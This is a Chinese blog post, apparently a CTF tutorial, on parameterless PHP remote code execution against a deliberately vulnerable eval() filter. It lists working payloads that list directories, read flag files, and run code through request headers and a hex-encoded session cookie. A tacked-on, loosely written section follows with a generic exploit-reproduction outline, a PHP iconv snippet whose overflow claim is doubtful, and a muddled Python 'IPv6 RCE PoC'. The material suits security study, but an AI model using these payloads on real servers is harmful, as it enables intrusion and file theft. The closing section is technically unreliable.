RCE漏洞研究

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
?>

代码中:

highlight_file(__FILE__):输出当前文件源码,方便分析。

preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']):匹配并替换掉无参数的函数调用,确保 $_GET['code'] 仅剩 keval($_GET['code']):执行传入的 code 参数。

正则表达式解析:
[^\W]+:匹配字母、数字和下划线,即PHP函数名。

\((?R)?\):匹配函数括号内容,允许递归嵌套。

preg_replace():删除匹配到的函数调用,最终仅剩 ; 时才允许 eval() 执行。

无参数文件读取

1. 获取当前目录下的文件

方法一:使用 localeconv()

current(localeconv());

localeconv() 返回本地货币格式,其中 decimal_point 位置通常是 "."

current() 获取数组的第一个元素,即  "."

方法二:使用 chr(46)

chr(46) 直接返回 '.'

print_r(scandir(chr(46)));

但 chr(46) 依然需要 46 这个数字,我们可以绕过:

chr(time() % 256);  // 只要 time() % 256 在46时,就可以返回 "."
方法三:使用 PHP 版本计算

ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))

该方法基于PHP版本(例如 5.5.9):

floor(phpversion()) → 5

sqrt(5) → 2.236

tan(2.236) → -2.185

cosh(-2.185) → 4.501

sinh(4.501) → 45.081

ceil(45.081) → 46

chr(46) → "."

方法四:使用 crypt() 生成 .

crypt() 可以生成带 . 的哈希:

可以得到

2. 读取当前目录文件

获得目录列表后,我们可以读取文件。假设目标文件是 flag.php,我们需要遍历目录列表并读取它。

方法一:读取最后一个文件

highlight_file(end(scandir(getcwd())));

show_source(end(scandir(getcwd())));

方法二:逆序数组读取

show_source(current(array_reverse(scandir(getcwd()))));

方法三:随机获取文件

show_source(array_rand(array_flip(scandir(getcwd()))));

3. 读取上一级目录文件

方法一:使用 dirname()

print_r(scandir(dirname(getcwd())));

方法二:利用 ".."

next(scandir(getcwd())) 获取 ..

scandir(..) 列出上级目录。

无参数RCE(远程命令执行)

1. 利用 getallheaders()

eval(pos(getallheaders()));

2. 利用 get_defined_vars()

get_defined_vars() 返回所有PHP变量,包括 $_GET$_POST 等:

3. 利用 $_FILES

上传任意文件:因为 $_FILES 在 get_defined_vars() 结果的最后一项,我们用 end() 取出,再 pos(pos()) 获取文件名,最终执行代码。

4. 利用 session_id()
eval(hex2bin(session_id(session_start())));
我们可以通过 Cookie 传入 session_id:

Cookie: PHPSESSID=706870696e666f28293b
hex2bin() 解码成:

phpinfo();
最终 eval() 执行 phpinfo()。

### 关于远程代码执行(RCE)漏洞复现的方法 #### 背景介绍 远程代码执行(Remote Code Execution, RCE)是一种高危漏洞,允许攻击者在未授权的情况下,在目标系统的上下文中运行任意代码。这种类型的漏洞通常存在于网络服务、Web 应用程序或其他暴露在网络中的软件中。 #### 复现步骤概述 以下是基于已知案例的通用复现流程: 1. **环境搭建** 需要创建一个模拟真实场景的测试环境来重现漏洞行为。例如,可以使用虚拟机或容器技术隔离实验环境[^4]。 2. **工具准备** 准备必要的开发和调试工具链,包括但不限于 Python 脚本、Metasploit 模块以及其他辅助工具。对于某些特定漏洞,还需要安装对应的依赖库[^1]。 3. **分析漏洞原理** 对具体漏洞的工作机制进行深入研究。比如 CVE-2020-0796 是由于 SMB 协议处理不当引起的 RCE 漏洞,了解其触发条件至关重要[^2]。 4. **编写利用脚本** 根据漏洞特性设计相应的 Payload 或 Exploit 脚本来实现远程代码注入功能。如果存在返回导向编程(ROP),则需额外考虑如何规避 ASLR 和 DEP 等防护措施。 5. **测试与调整** 尝试多次运行编写的 POC (Proof of Concept), 并依据反馈不断优化直至成功达成预期效果为止。 #### 实际案例解析 - PHP 缓冲区溢出漏洞 在一个实际的例子当中提到过有关 iconv() 的调用问题最后却意外发现该缺陷非常适合应用于 PHP 应用层面造成严重的后果[^3]: ```php <?php // 假设这里有一个可控输入参数 $data $data = $_GET['input']; $converted_data = iconv('UTF-8', 'ISO-8859-1//IGNORE', $data); echo $converted_data; ?> ``` 上述代码片段展示了当用户提交的数据长度超过预定义缓冲大小时可能会引发堆栈破坏进而导致不可预测的行为发生。 --- ### 提供一段简单的 IPv6-RCE PoC 示例代码如下所示: ```python import socket def send_payload(ip_address): payload = b"A"*1024 # 构造超长字符串作为载荷尝试覆盖内存区域 try: sckt = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) sckt.connect((ip_address, 80)) sckt.sendall(payload) response = sckt.recv(1024).decode() print(f"Received Response: {response}") except Exception as e: print(e) if __name__ == "__main__": target_ip = "<目标IPv6地址>" send_payload(target_ip) ``` 注意替换 `<目标IPv6地址>` 成真实的 IP 地址前缀后再执行以上脚本。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值